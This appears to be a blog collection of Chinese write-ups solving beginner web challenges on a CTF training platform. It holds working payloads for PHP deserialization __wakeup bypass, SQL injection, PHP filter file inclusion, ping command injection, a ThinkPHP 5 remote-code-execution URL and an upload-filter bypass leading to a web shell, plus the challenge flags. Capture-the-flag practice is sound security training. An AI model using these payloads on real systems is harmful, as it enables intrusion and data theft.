攻防世界WEB题WriteUp收集

First Post:

Last Update:

Word Count:
2.5k

Read Time:
12 min

排序方式: 新手模式 -> 全部

难度1

Training-WWW-Robots

访问网站得到以下内容

In this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!

题目名字和网站都提到了 Robots

访问robots.txt

1
2
3
4
5
6
User-agent: *
Disallow: /fl0g.php


User-agent: Yandex
Disallow: *

得到 fl0g.php 文件位置,访问得到flag

Flag
1
cyberpeace{4d4fd53177e175995c241699abc6a611}

unserialize3

访问网站得到代码

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

CVE-2016-7124绕过_wakeup()

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$obj = new xctf();
$serialized = serialize($obj);
// __wakeup绕过
$serialized = str_replace(':1:',':2:', $serialized);
echo $serialized;
?>
Flag
1
cyberpeace{8d7a6f9b7f6f600e0d8623cdb79d84b4}

ics-06

访问网站,是一个管理系统

adworld-web-writeups__ics-06__00.jpg

在左边一列一个个点下去,只有报表中心可以访问

adworld-web-writeups__ics-06__01.jpg

发现网址中存在id参数

adworld-web-writeups__ics-06__02.jpg

将请求放入Burpsuite Intruder中,在id处放置Payload占位符,在右侧选择数值并填写到(To)

adworld-web-writeups__ics-06__03.jpg

扫描完成后,将结果导出为csv文件并导入Excel

adworld-web-writeups__ics-06__04.jpg

筛选出长度变化最大的一个项

adworld-web-writeups__ics-06__05.jpg

此时 Payload 值为 2333,即 id=2333

在浏览器中访问得到flag

Flag
1
cyberpeace{0a4e47c15cde843096b309f3f6ff9146}

view_source

根据题目名称 view_source 已经题目描述知道要查看源代码

查看源代码的几种方式(Edge浏览器)

右键网页 -> 检查 -> 元素 (本题不可用)
右键网页 -> 查看网页源代码 (本题不可用)
直接按F12
Ctrl+U

在网页注释中找到flag

Flag
1
cyberpeace{cd9281496c84e971c42703d2f0e52373}

get_post

答案在题干上

请用GET方式提交一个名为a,值为1的变量

在浏览器地址栏最后添加 ?a=1

http://61.147.171.105:62369/?a=1

请用GET方式提交一个名为a,值为1的变量
请再以POST方式随便提交一个名为b,值为2的变量

curl发送POST请求

Payload

1
curl http://61.147.171.105:62369/?a=1 -d b=2
Flag
1
cyberpeace{09722afc6616551ee9f2d45cacc32588}

robots

Training-WWW-Robots一样,访问 robots.txt

1
2
3
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php

访问 f1ag_1s_h3re.php 得到flag

Flag
1
cyberpeace{bee458a1c727279c453de7791fae7fc0}

backup

答案在题干

你知道index.php的备份文件名吗?

直接访问 index.php.bak ( bakbackup - 备份 的缩写,计算机中 .bak 文件通常作为源文件的备份)

Flag
1
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

答在题

访问网站,F12 打开 DevTools,打开 网络 选项刷新页面

adworld-web-writeups__cookie__00.jpg

Set-Cookie 中找到 cookie.php,访问后提示

See the http response

还是在 DevTools响应标头 中找到flag

Flag
1
cyberpeace{2a45151382ee79c8309ee269af730093}

disabled_button

都做过的题,开发者工具把 disabled 删除就行

adworld-web-writeups__disabled_button__00.jpg

Flag
1
cyberpeace{d38ab1bf8e2c67c9338980f3e051f094}

weak_auth

题目说随手设了个密码,那就随手输个密码

用户名 admin
密码 123456

Flag
1
cyberpeace{edb57643d68eb9481d0d05d3d0f8537c}

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

需要传入a和b两个参数,参数a需要满足 $a==0$a==true ;参数b需要满足 is_numeric($b) 判断为非数值的同时 $b>1234

参数a

首先是参数a,可能的结果只有 true and true 或者 false and false

假设要让 $a==0true, a的值只能为 "0"(自动类型转换为数字 0 ),此时条件变为 if(true and $a)

在PHP中,0 / 0.0 / "0" / NULL / ""(空字符串)被认为是false,也就是说此时条件变为 if(true and false) ,不满足题目条件

因此应让 $a 的值不应为数值型字符串

在PHP的松散比较 == 中,非数字字符串将被转换为 0,因此当a的值为任意字符串时,$a==0 的结果将永远为true

在接下来的and判断中,$a(非空字符串)又将被视为 true

因此参数a的值可以为任意非数值字符串

参数b

接下来是参数b,需要在被 is_numeric() 函数判断为非数值的同时在数值比较中大于1234

is_numeric() 函数用于判断一个字符串是否为数值字符串,当字符串中存在一个非数值字符串时返回false(不是数值字符串)

而PHP中的 > 比较会将字符串从前向后找数值,遇到非数值时停止

基于以上两点,参数b的值可以为 1235a / 123456bn任何大于1234的数值 + 任意个非数值字符 的组合

Payload

1
http://61.147.171.105:56707/?a=a&b=1235n
Flag
1
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

baby_web

答在题,一般来说网站的初始界面都是 index (.php/.html/…)

访问 index.php,自动跳转到 1.php

curl访问 index.php

Flag is hidden!

flag被藏起来了,添加 -i 显示相应头,在 FLAG 参数中找到flag

Flag
1
flag{very_baby_web}

inget

又有ID又有绕过,直接盲猜SQL注入

猜测SQL语句如下

1
WHERE id='${id}'

构造id值使得SQL语句变为

1
WHERE id='' or ''=''

即id值为 ' or ''='

Flag
1
cyberpeace{d26c1723d6c25158603ffd3fb23aa235}

fileinclude

访问网站

Notice: Undefined index: language in /var/www/html/index.php on line 9
Please choose the language you want : English or Chinese
Hi,EveryOne,The flag is in flag.php

提示flag在 flag.php

开发者工具查看源代码,在注释里找到PHP的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

代码从cookie中提取 language 字段并include

构造PHP过滤器读取flag.php内容

adworld-web-writeups__fileinclude__00.jpg

Base64解码即可

Payload

1
curl -X GET "http://ip:port/index.php" -H "Cookie: language=php://filter/read=convert.base64-encode/resource=flag"
Flag
1
cyberpeace{027a5e33c7c06bdec47b24ab881186b2}

fileclude

访问网站获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}

第一行中已经include了flag.php,因此flag值可能在注释中

file_get_contents($file2) === "hello ctf" 限定参数file2中内容必须为 hello ctf

通过 php://input 与POST方法绕过

使用过滤器读flag.php内容并转为Base64

Payload

1
curl -X POST "http://ip:port/?file1=php://filter/read%3Dconvert.base64-encode/resource%3Dflag.php&file2=php://input" -H "Content-Type: text/plain" -d "hello ctf"
Flag
1
cyberpeace{79f1764b4a555ea2d6f0abdbdd6c261e}

难度2

upload1

打开网站,只有一个上传点,尝试上传php文件

弹出了javascript的alert警告框,猜测为前端对上传内容做了限制

启用DevTool的替代模式

adworld-web-writeups__upload1__00.jpg

删除判断后缀的代码

adworld-web-writeups__upload1__01.jpg

上传成功,蚁剑连接得到flag

adworld-web-writeups__upload1__02.jpg

Flag
1
cyberpeace{fed234f59d01a227d353e95bc38aea35}

xff_referer

题目提示可以伪造 X-Forwarded-ForReferer ,访问网站

ip地址必须为123.123.123.123

向请求头添加 X-Forwarded-For

adworld-web-writeups__xff_referer__00.jpg

必须来自https://www.google.com

向请求头添加 Referer

adworld-web-writeups__xff_referer__01.jpg

Flag
1
cyberpeace{b1fc04c4bb57c105c1e5924c6d073897}

command_execution

题目提示ping命令没有waf,使用 && 连接两个命令

使用find命令搜索文件名flag

127.0.0.1 && find / -name “flag*”

adworld-web-writeups__command_execution__00.jpg

找到flag在/home/flag.txt, cat出来

Flag
1
cyberpeace{038d89f203be4c8a8874129d4337275e}

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

首先使用CyberChef对密文进行初步处理,对应加密代码中的

1
return str_rot13(strrev(base64_encode($_)));

adworld-web-writeups__web2__00.jpg

使用python逆向加密算法得出flag

1
2
3
4
5
6
7
8
9
10
11
_ = '~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg'
_str = []

for _c in _:
__ = ord(_c)
_c = chr(__ - 1)
_str.append(_c)

_str.reverse()

print(''.join(_str))
Flag
1
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_php_unserialize

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

从上至下共有以下几点

  • 从URL接收 var 参数

  • Base64 解码var参数

  • 正则匹配 O:<任意数字>:C:<任意数字>:

  • __wakeup() 将$file的值限定为index.php

反向操作,绕过_wakeup()

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}

绕过正则

O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}

最后进行Base64编码

注意

adworld-web-writeups__Web_php_unserialize__00.jpg

由于变量file的类型为 private,因此在 Demo 两边各有一个空字节

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$obj = new Demo('fl4g.php');
$serialized = serialize($obj);
// +号绕过
$serialized = str_replace('O:4','O:+4', $serialized);
// __wakeup绕过
$serialized = str_replace(':1:',':2:', $serialized);
// Base64编码
$serialized = base64_encode($serialized);
echo $serialized;
?>
Flag
1
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

php_rce

题目提示了PHP的Rce,访问网站得到版本为 ThinkPHP V5

存在ThinkPHP 5.0.23/5.1.31 - 远程命令执行漏洞

Payload

1
http://ip:port/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag;'
Flag
1
flag{thinkphp5_rce}

Web_php_include

题目为PHP文件包含,查看源代码

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

include源由参数page控制,过滤了 php://,但可以用 phP://

构造过滤器,phP://input 从POST请求体取得PHP代码执行

尝试使用 eval 函数执行命令,报500错误

adworld-web-writeups__Web_php_include__00.jpg

改用 system 函数成功执行

adworld-web-writeups__Web_php_include__01.jpg

ls找到文件 fl4gisisish3r3.php, cat出来

adworld-web-writeups__Web_php_include__02.jpg

Flag
1
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}